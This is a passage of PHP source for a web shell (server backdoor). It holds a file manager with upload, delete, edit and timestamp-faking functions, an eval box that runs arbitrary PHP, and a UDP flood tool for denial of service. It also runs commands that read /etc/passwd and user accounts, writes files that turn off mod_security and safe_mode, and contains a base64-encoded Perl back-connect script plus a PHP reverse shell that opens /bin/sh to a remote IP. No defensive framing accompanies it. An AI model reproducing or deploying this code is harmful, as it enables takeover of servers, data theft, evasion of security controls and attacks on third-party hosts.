  586.                     return '<font color=#FF0000>' . madPerms(@fileperms($f)) . '</font>';
  587.             elseif (!@is_writable($f))
  588.                     return '<font color=white>' . madPerms(@fileperms($f)) . '</font>';
  589.             else
  590.                     return '<font color=#25ff00>' . madPerms(@fileperms($f)) . '</font>';
  591.     }
  592.      
  593.     if(!function_exists("scandir")) {
  594.             function scandir($dir) {
  595.                     $dh  = opendir($dir);
  596.                     while (false !== ($filename = readdir($dh)))
  597.                     $files[] = $filename;
  598.                     return $files;
  599.             }
  600.     }
  601.      
  602.      
  603.     function madFilesMan() {
  604.             madhead();
  605.         echo '<div class=header><script>p1_=p2_=p3_="";</script>';
  606.             if(!empty($_POST['p1'])) {
  607.                     switch($_POST['p1']) {
  608.                             case 'uploadFile':
  609.                                     if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  610.                                             echo "Can't upload file!";
  611.                                     break;
  612.                             case 'mkdir':
  613.                                     if(!@mkdir($_POST['p2']))
  614.                                             echo "Can't create new dir";
  615.                                     break;
  616.                             case 'delete':
  617.                                     function deleteDir($path) {
  618.                                             $path = (substr($path,-1)=='/') ? $path:$path.'/';
  619.                                             $dh  = opendir($path);
  620.                                             while ( ($item = readdir($dh) ) !== false) {
  621.                                                     $item = $path.$item;
  622.                                                     if ( (basename($item) == "..") || (basename($item) == ".") )
  623.                                                             continue;
  624.                                                     $type = filetype($item);
  625.                                                     if ($type == "dir")
  626.                                                             deleteDir($item);
  627.                                                     else
  628.                                                             @unlink($item);
  629.                                             }
  630.                                             closedir($dh);
  631.                                             @rmdir($path);
  632.                                     }
  633.                                     if(is_dir(@$_POST['p2']))
  634.                                     deleteDir(@$_POST['p2']);
  635.                                     else
  636.                                     @unlink(@$_POST['p2']);
  637.                                     break;
  638.                     default:
  639.                     if(!empty($_POST['p1'])) {
  640.                                             $_SESSION['act'] = @$_POST['p1'];
  641.                                             $_SESSION['f'] = @$_POST['f'];
  642.                                             foreach($_SESSION['f'] as $k => $f)
  643.                                                     $_SESSION['f'][$k] = urldecode($f);
  644.                                             $_SESSION['c'] = @$_POST['c'];
  645.                                     }
  646.                                     break;
  647.                     }
  648.             }
  649.             $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  650.             if($dirContent === false) {     echo '<h3><span>|  Access Denied! |</span></h3></div>';madFooter(); return; }
  651.             global $sort;
  652.             $sort = array('name', 1);
  653.             if(!empty($_POST['p1'])) {
  654.                     if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  655.                             $sort = array($match[1], (int)$match[2]);
  656.             }
  657.     echo "
  658.    <table width='100%' class='main' cellspacing='0' cellpadding='2'  >
  659.    <form name=files method=post><tr><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
  660.             $dirs = $files = array();
  661.             $n = count($dirContent);
  662.             for($i=0;$i<$n;$i++) {
  663.                     $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  664.                     $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  665.                     $tmp = array('name' => $dirContent[$i],
  666.                                              'path' => $GLOBALS['cwd'].$dirContent[$i],
  667.                                              'modify' => @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  668.                                              'perms' => madPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  669.                                              'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  670.                                              'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  671.                                              'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  672.                                             );
  673.                     if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  674.                             $files[] = array_merge($tmp, array('type' => 'file'));
  675.                     elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  676.                             $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  677.                     elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
  678.                             $dirs[] = array_merge($tmp, array('type' => 'dir'));
  679.             }
  680.             $GLOBALS['sort'] = $sort;
  681.             function wsoCmp($a, $b) {
  682.                     if($GLOBALS['sort'][0] != 'size')
  683.                             return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  684.                     else
  685.                             return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  686.             }
  687.             usort($files, "wsoCmp");
  688.             usort($dirs, "wsoCmp");
  689.             $files = array_merge($dirs, $files);
  690.             $l = 0;
  691.             foreach($files as $f) {
  692.                     echo '<tr'.($l?' class=l1':'').'><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td><td>'.(($f['type']=='file')?madSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  693.                             .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'<a href="#" onclick="g(\'FilesMan\',null,\'delete\', \''.urlencode($f['name']).'\')"> X </a></td></tr>';
  694.                     $l = $l?0:1;
  695.             }
  696.             echo "<tr><td colspan=7>
  697.            <input type=hidden name=a value='FilesMan'>
  698.            <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  699.            <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  700.            </form></table></div>";
  701.      
  702.            
  703.         madfooter();
  704.      }
  705.        
  706.       function madFilesTools() {
  707.             if( isset($_POST['p1']) )
  708.                     $_POST['p1'] = urldecode($_POST['p1']);
  709.             if(@$_POST['p2']=='download') {
  710.                     if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  711.                             ob_start("ob_gzhandler", 4096);
  712.                             header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  713.                             if (function_exists("mime_content_type")) {
  714.                                     $type = @mime_content_type($_POST['p1']);
  715.                                     header("Content-Type: " . $type);
  716.                             } else
  717.                     header("Content-Type: application/octet-stream");
  718.                             $fp = @fopen($_POST['p1'], "r");
  719.                             if($fp) {
  720.                                     while(!@feof($fp))
  721.                                             echo @fread($fp, 1024);
  722.                                     fclose($fp);
  723.                             }
  724.                     }exit;
  725.             }
  726.             if( @$_POST['p2'] == 'mkfile' ) {
  727.                     if(!file_exists($_POST['p1'])) {
  728.                             $fp = @fopen($_POST['p1'], 'w');
  729.                             if($fp) {
  730.                                     $_POST['p2'] = "edit";
  731.                                     fclose($fp);
  732.                             }
  733.                     }
  734.             }
  735.            
  736.        madhead();
  737.             echo '<div class=header>';
  738.             if( !file_exists(@$_POST['p1']) ) {
  739.                     echo "<pre class=ml1 style='margin-top:5px'>FILE DOEST NOT EXITS </pre></div>";
  740.                     madFooter();
  741.                     return;
  742.             }
  743.             $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  744.             if(!$uid) {
  745.                     $uid['name'] = @fileowner($_POST['p1']);
  746.                     $gid['name'] = @filegroup($_POST['p1']);
  747.             } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  748.             echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?madSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.madPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  749.             echo '<br>';
  750.             if( empty($_POST['p2']) )
  751.                     $_POST['p2'] = 'view';
  752.             if( is_file($_POST['p1']) )
  753.                     $m = array('View', 'Highlight', 'Download', 'Edit', 'Chmod', 'Rename', 'Touch');
  754.             else
  755.                     $m = array('Chmod', 'Rename', 'Touch');
  756.             foreach($m as $v)
  757.                     echo '<a  href=# onclick="g(null,null,null,\''.strtolower($v).'\')"><span>'.((strtolower($v)==@$_POST['p2'])?'<b><span> '.$v.' </span> </b>':$v).' </span></a> ';
  758.             echo '<br><br>';
  759.             switch($_POST['p2']) {
  760.                     case 'view':
  761.                             echo '<pre class=ml1>';
  762.                             $fp = @fopen($_POST['p1'], 'r');
  763.                             if($fp) {
  764.                                     while( !@feof($fp) )
  765.                                             echo htmlspecialchars(@fread($fp, 1024));
  766.                                     @fclose($fp);
  767.                             }
  768.                             echo '</pre>';
  769.                             break;
  770.                     case 'highlight':
  771.                             if( @is_readable($_POST['p1']) ) {
  772.                                     echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  773.                                     $code = @highlight_file($_POST['p1'],true);
  774.                                     echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  775.                             }
  776.                             break;
  777.                     case 'chmod':
  778.                             if( !empty($_POST['p3']) ) {
  779.                                     $perms = 0;
  780.                                     for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  781.                                             $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  782.                                     if(!@chmod($_POST['p1'], $perms))
  783.                                             echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  784.                             }
  785.                             clearstatcache();
  786.                             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  787.                             break;
  788.                     case 'edit':
  789.                             if( !is_writable($_POST['p1'])) {
  790.                                     echo 'File isn\'t writeable';
  791.                                     break;
  792.                             }
  793.                             if( !empty($_POST['p3']) ) {
  794.                                     $time = @filemtime($_POST['p1']);
  795.                                     $_POST['p3'] = substr($_POST['p3'],1);
  796.                                     $fp = @fopen($_POST['p1'],"w");
  797.                                     if($fp) {
  798.                                             @fwrite($fp,$_POST['p3']);
  799.                                             @fclose($fp);
  800.                                             echo 'Saved!<br><script>p3_="";</script>';
  801.                                             @touch($_POST['p1'],$time,$time);
  802.                                     }
  803.                             }
  804.                             echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  805.                             $fp = @fopen($_POST['p1'], 'r');
  806.                             if($fp) {
  807.                                     while( !@feof($fp) )
  808.                                             echo htmlspecialchars(@fread($fp, 1024));
  809.                                     @fclose($fp);
  810.                             }
  811.                             echo '</textarea><input type=submit value=">>"></form>';
  812.                             break;
  813.                     case 'hexdump':
  814.                             $c = @file_get_contents($_POST['p1']);
  815.                             $n = 0;
  816.                             $h = array('00000000<br>','','');
  817.                             $len = strlen($c);
  818.                             for ($i=0; $i<$len; ++$i) {
  819.                                     $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  820.                                     switch ( ord($c[$i]) ) {
  821.                                             case 0:  $h[2] .= ' '; break;
  822.                                             case 9:  $h[2] .= ' '; break;
  823.                                             case 10: $h[2] .= ' '; break;
  824.                                             case 13: $h[2] .= ' '; break;
  825.                                             default: $h[2] .= $c[$i]; break;
  826.                                     }
  827.                                     $n++;
  828.                                     if ($n == 32) {
  829.                                             $n = 0;
  830.                                             if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  831.                                             $h[1] .= '<br>';
  832.                                             $h[2] .= "\n";
  833.                                     }
  834.                             }
  835.                             echo '<table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  836.                             break;
  837.                     case 'rename':
  838.                             if( !empty($_POST['p3']) ) {
  839.                                     if(!@rename($_POST['p1'], $_POST['p3']))
  840.                                             echo 'Can\'t rename!<br>';
  841.                                     else
  842.                                             die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  843.                             }
  844.                             echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  845.                             break;
  846.                     case 'touch':
  847.                             if( !empty($_POST['p3']) ) {
  848.                                     $time = strtotime($_POST['p3']);
  849.                                     if($time) {
  850.                                             if(!touch($_POST['p1'],$time,$time))
  851.                                                     echo 'Fail!';
  852.                                             else
  853.                                                     echo 'Touched!';
  854.                                     } else echo 'Bad time format!';
  855.                             }
  856.                             clearstatcache();
  857.                             echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  858.                             break;
  859.             }
  860.             echo '</div>';
  861.             madFooter();
  862.     }  
  863.      
  864.     function madphpeval()
  865.     {
  866.         madhead();
  867.        
  868.         if(isset($_POST['p2']) && ($_POST['p2'] == 'ini')) {
  869.                     echo '<div class=header>';
  870.                     ob_start();
  871.                     $INI=ini_get_all();
  872.     print '<table border=0><tr>'
  873.             .'<td class="listing"><font class="highlight_txt">Param</td>'
  874.             .'<td class="listing"><font class="highlight_txt">Global value</td>'
  875.             .'<td class="listing"><font class="highlight_txt">Local Value</td>'
  876.             .'<td class="listing"><font class="highlight_txt">Access</td></tr>';
  877.     foreach ($INI as $param => $values)
  878.             print "\n".'<tr>'
  879.                     .'<td class="listing"><b>'.$param.'</td>'
  880.                     .'<td class="listing">'.$values['global_value'].' </td>'
  881.                     .'<td class="listing">'.$values['local_value'].' </td>'
  882.                     .'<td class="listing">'.$values['access'].' </td></tr>';
  883.                     $tmp = ob_get_clean();
  884.             $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  885.                     $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  886.                     echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  887.             }
  888.        
  889.         if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  890.                     echo '<div class=header><style>.p {color:#000;}</style>';
  891.                     ob_start();
  892.                     phpinfo();
  893.                     $tmp = ob_get_clean();
  894.             $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
  895.                     $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  896.                     echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  897.             }
  898.        
  899.         if(isset($_POST['p2']) && ($_POST['p2'] == 'exten')) {
  900.                     echo '<div class=header>';
  901.                     ob_start();
  902.                  $EXT=get_loaded_extensions ();
  903.          print '<table border=0><tr><td class="listing">'
  904.             .implode('</td></tr>'."\n".'<tr><td class="listing">', $EXT)
  905.             .'</td></tr></table>'
  906.             .count($EXT).' extensions loaded';
  907.                    
  908.            
  909.             echo '</div><br>';
  910.             }
  911.        
  912.        
  913.             if(empty($_POST['ajax']) && !empty($_POST['p1']))
  914.                     $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
  915.         echo '<div class=header><Center><a href=# onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=# onclick="g(\'phpeval\',null,\'\',\'info\')">    | phpinfo |</a><a href=# onclick="g(\'phpeval\',null,\'\',\'exten\')">   | extensions  |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,\'\'); return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><center><input type=submit value=Eval style="margin-top:5px"></center>';
  916.             echo '</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  917.             if(!empty($_POST['p1'])) {
  918.                     ob_start();
  919.                     eval($_POST['p1']);
  920.                     echo htmlspecialchars(ob_get_clean());
  921.             }
  922.             echo '</pre></div>';
  923.      
  924.         madfooter();
  925.     }
  926.      
  927.     function madhash()
  928.     {
  929.         if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  930.         if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  931.             if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  932.             if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  933.             if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  934.             $stringTools = array(
  935.                     'Base64 encode' => 'base64_encode',
  936.                     'Base64 decode' => 'base64_decode',
  937.             'md5 hash' => 'md5',
  938.                     'sha1 hash' => 'sha1',
  939.                     'crypt' => 'crypt',
  940.                     'CRC32' => 'crc32',
  941.                     'Url encode' => 'urlencode',
  942.                     'Url decode' => 'urldecode',
  943.                     'Full urlencode' => 'full_urlencode',
  944.                     'Htmlspecialchars' => 'htmlspecialchars',
  945.                    
  946.             );
  947.            
  948.             madhead();
  949.             echo '<div class=header>';
  950.             if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  951.                     $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  952.             echo "<form  onSubmit='g(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>";
  953.             foreach($stringTools as $k => $v)
  954.                     echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  955.                     echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  956.             if(!empty($_POST['p1'])) {
  957.                     if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  958.             }
  959.             echo "</div>";
  960.             madFooter();
  961.        
  962.     }
  963.     function maddos()
  964.     {
  965.         madhead();
  966.         echo '<div class=header>';
  967.       if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  968.       $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  969.       echo '<center><span>| UDP DOSSIER |</span><br><br><form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST><span>Host :</span><input name="udphost" type="text"  size="25" /><span>Time :</span><input name="udptime" type="text" size="15" /><span>Port :</span><input name="udpport" type="text" size="10" /><input  type="submit" value=">>" /></form></center>';
  970.       echo "<pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' >";
  971.         if(!empty($_POST['p1']) && !empty($_POST['p2']) && !empty($_POST['p3']))
  972.         {
  973.              $packets=0;
  974.             ignore_user_abort(true);
  975.             $exec_time=$_POST['p2'];
  976.             $time=time();
  977.             $max_time=$exec_time+$time;
  978.             $host=$_POST['p1'];
  979.             $portudp=$_POST['p3'];
  980.             for($i=0;$i<65000;$i++)
  981.             {
  982.                 $out .= 'X';
  983.             }
  984.             while(1){
  985.        
  986.              $packets++;
  987.                 if(time() > $max_time){
  988.                         break;
  989.                 }
  990.                
  991.                 $fp = fsockopen('udp://'.$host, $portudp, $errno, $errstr, 5);
  992.                 if($fp){
  993.                         fwrite($fp, $out);
  994.                         fclose($fp);
  995.                 }
  996.                 }
  997.              echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
  998.              echo "</pre>";
  999.         }
  1000.        
  1001.         echo '</div>';
  1002.        
  1003.         madfooter();        
  1004.     }
  1005.      
  1006.     function madproc()
  1007.     {
  1008.         madhead();
  1009.         echo "<Div class=header><center>";
  1010.         if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1011.       $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1012.       if($GLOBALS['sys']=="win")
  1013.       {
  1014.         $process=array(
  1015.         "System Info" =>"systeminfo",
  1016.         "Active Connections" => "netstat -an",
  1017.             "Running Services" => "net start",
  1018.             "User Accounts" => "net user",
  1019.             "Show Computers" => "net view",
  1020.         "ARP Table" => "arp -a",
  1021.         "IP Configuration" => "ipconfig /all"
  1022.         );
  1023.         }
  1024.       else
  1025.       {
  1026.         $process=array(
  1027.         "Process status" => "ps aux",
  1028.         "Syslog" =>"cat  /etc/syslog.conf",
  1029.         "Resolv" => "cat  /etc/resolv.conf",
  1030.         "Hosts" =>"cat /etc/hosts",
  1031.         "Passwd" =>"cat /etc/passwd",
  1032.         "Cpuinfo"=>"cat /proc/cpuinfo",
  1033.         "Version"=>"cat /proc/version",
  1034.         "Sbin"=>"ls -al /usr/sbin",
  1035.         "Interrupts"=>"cat /proc/interrupts",
  1036.         "lsattr"=>"lsattr -va",
  1037.         "Uptime"=>"uptime",
  1038.         "Fstab" =>"cat /etc/fstab",
  1039.         "HDD Space" => "df -h"
  1040.         );}
  1041.        
  1042.         foreach($process as $n => $link)
  1043.         {
  1044.             echo '<a href="#" onclick="g(null,null,\''.$link.'\')"> | '.$n.' | </a>';
  1045.         }
  1046.         echo "</center>";
  1047.          if(!empty($_POST['p1']))
  1048.          {
  1049.             echo "<pre class='ml1' style='margin-top:5px' >";
  1050.             echo madEx($_POST['p1']);
  1051.             echo '</pre>';
  1052.          }
  1053.          echo "</div>";
  1054.          madfooter();
  1055.          }
  1056.          
  1057.     function madsafe()
  1058.     {
  1059.         madhead();
  1060.         echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh  ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br>";
  1061.         echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
  1062.         if(!empty($_POST['p2']) && isset($_POST['p2']))
  1063.         {
  1064.         $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1065.         fwrite($fil,'<IfModule mod_security.c>
  1066.    Sec------Engine Off
  1067.    Sec------ScanPOST Off
  1068.    </IfModule>');
  1069.         fclose($fil);
  1070.        }
  1071.        if(!empty($_POST['p1'])&& isset($_POST['p1']))
  1072.        {
  1073.         $fil=fopen($GLOBALS['cwd']."php.ini","w");
  1074.           fwrite($fil,'safe_mode=OFF
  1075.    disable_functions=NONE');
  1076.          fclose($fil);
  1077.         }
  1078.         if(!empty($_POST['p3']) && isset($_POST['p3']))
  1079.         {
  1080.         $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1081.         fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
  1082.    AddType application/x-httpd-cgi .sh
  1083.    AddHandler cgi-script .pl
  1084.    AddHandler cgi-script .pl');
  1085.          fclose($fil);
  1086.         }
  1087.         echo "<br></div>";
  1088.         madfooter();
  1089.        
  1090.     }
  1091.      
  1092.     function madconnect()
  1093.     {
  1094.      madhead();
  1095.      $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1096.      echo "<div class=header><center><h3><span>| PERL AND PHP(threads) BACK CONNECT |</span></h3>";
  1097.      echo "<form  onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>PERL BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form>";
  1098.      echo "<br><form  onSubmit=\"g(null,null,'php',this.server.value,this.port.value);return false;\"><span>PHP BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form></center>";
  1099.      if(isset($_POST['p1'])) {
  1100.                     function cf($f,$t) {
  1101.                             $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1102.                             if($w){
  1103.                                     @fwrite($w,@base64_decode($t));
  1104.                                     @fclose($w);
  1105.                             }
  1106.                     }
  1107.                     if($_POST['p1'] == 'bcp') {
  1108.                             cf("/tmp/bc.pl",$back_connect_p);
  1109.                             $out = madEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1110.                             echo "<pre class=ml1 style='margin-top:5px'>Successfully opened reverse shell to ".$_POST['p2'].":".$_POST['p3']."<br>Connecting...</pre>";
  1111.                 @unlink("/tmp/bc.pl");
  1112.                     }
  1113.             if($_POST['p1']=='php')
  1114.      {
  1115.                
  1116.     @set_time_limit (0);
  1117.     $ip = $_POST['p2'];
  1118.     $port =$_POST['p3'];    
  1119.     $chunk_size = 1400;
  1120.     $write_a = null;
  1121.     $error_a = null;
  1122.     $shell = 'uname -a; w; id; /bin/sh -i';
  1123.     $daemon = 0;
  1124.     $debug = 0;
  1125.     echo "<pre class=ml1 style='margin-top:5px'>";
  1126.      
  1127.     if (function_exists('pcntl_fork')) {
  1128.            
  1129.             $pid = pcntl_fork();
  1130.            
  1131.             if ($pid == -1) {
  1132.                     echo "Cant fork!<br>";
  1133.                     exit(1);
  1134.             }
  1135.            
  1136.             if ($pid) {
  1137.                     exit(0);  
  1138.             }
  1139.      
  1140.             if (posix_setsid() == -1) {
  1141.                     echo "Error: Can't setsid()<br>";
  1142.                     exit(1);
  1143.             }
  1144.      
  1145.             $daemon = 1;
  1146.     } else {
  1147.             echo "WARNING: Failed to daemonise.  This is quite common and not fatal<br>";
  1148.     }
  1149.      
  1150.     chdir("/");
  1151.      
  1152.     umask(0);
  1153.      
  1154.     $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  1155.     if (!$sock) {
  1156.             echo "$errstr ($errno)";
  1157.             exit(1);
  1158.     }
  1159.      
  1160.      
  1161.     $descriptorspec = array(
  1162.        0 => array("pipe", "r"),  
  1163.        1 => array("pipe", "w"),  
  1164.        2 => array("pipe", "w")  
  1165.     );
  1166.      
  1167.     $process = proc_open($shell, $descriptorspec, $pipes);
  1168.      
  1169.     if (!is_resource($process)) {
  1170.             echo "ERROR: Can't spawn shell<br>";
  1171.             exit(1);
  1172.     }
  1173.      
  1174.      
  1175.     @stream_set_blocking($pipes[0], 0);
  1176.     @stream_set_blocking($pipes[1], 0);
  1177.     @stream_set_blocking($pipes[2], 0);
  1178.     @stream_set_blocking($sock, 0);
  1179.      
  1180.     echo "Successfully opened reverse shell to $ip:$port<br>";
  1181.      
  1182.     while (1) {
  1183.             if (feof($sock)) {
  1184.                     echo "ERROR: Shell connection terminated<br>";
  1185.                     break;
  1186.             }
  1187.      
  1188.             if (feof($pipes[1])) {
  1189.                     echo "ERROR: Shell process terminated<br>";
  1190.                     break;
  1191.             }
  1192.      
  1193.            
  1194.             $read_a = array($sock, $pipes[1], $pipes[2]);
  1195.             $num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);
  1196.      
  1197.             if (in_array($sock, $read_a)) {
  1198.                     if ($debug) echo "SOCK READ<br>";
  1199.                     $input=fread($sock, $chunk_size);
  1200.                     if ($debug) echo "SOCK: $input<br>";
  1201.                     fwrite($pipes[0], $input);
  1202.             }
  1203.      
  1204.             if (in_array($pipes[1], $read_a)) {
  1205.                     if ($debug) echo "STDOUT READ<br>";
  1206.                     $input = fread($pipes[1], $chunk_size);
  1207.                     if ($debug) echo "STDOUT: $input<br>";
  1208.                     fwrite($sock, $input);
  1209.             }
  1210.      
  1211.            
  1212.             if (in_array($pipes[2], $read_a)) {
  1213.                     if ($debug) echo "STDERR READ<br>";
  1214.                     $input = fread($pipes[2], $chunk_size);
  1215.                     if ($debug) echo "STDERR: $input<br>";
  1216.                     fwrite($sock, $input);
  1217.             }
  1218.     }
  1219.      
  1220.     fclose($sock);
  1221.     fclose($pipes[0]);
  1222.     fclose($pipes[1]);
  1223.     fclose($pipes[2]);
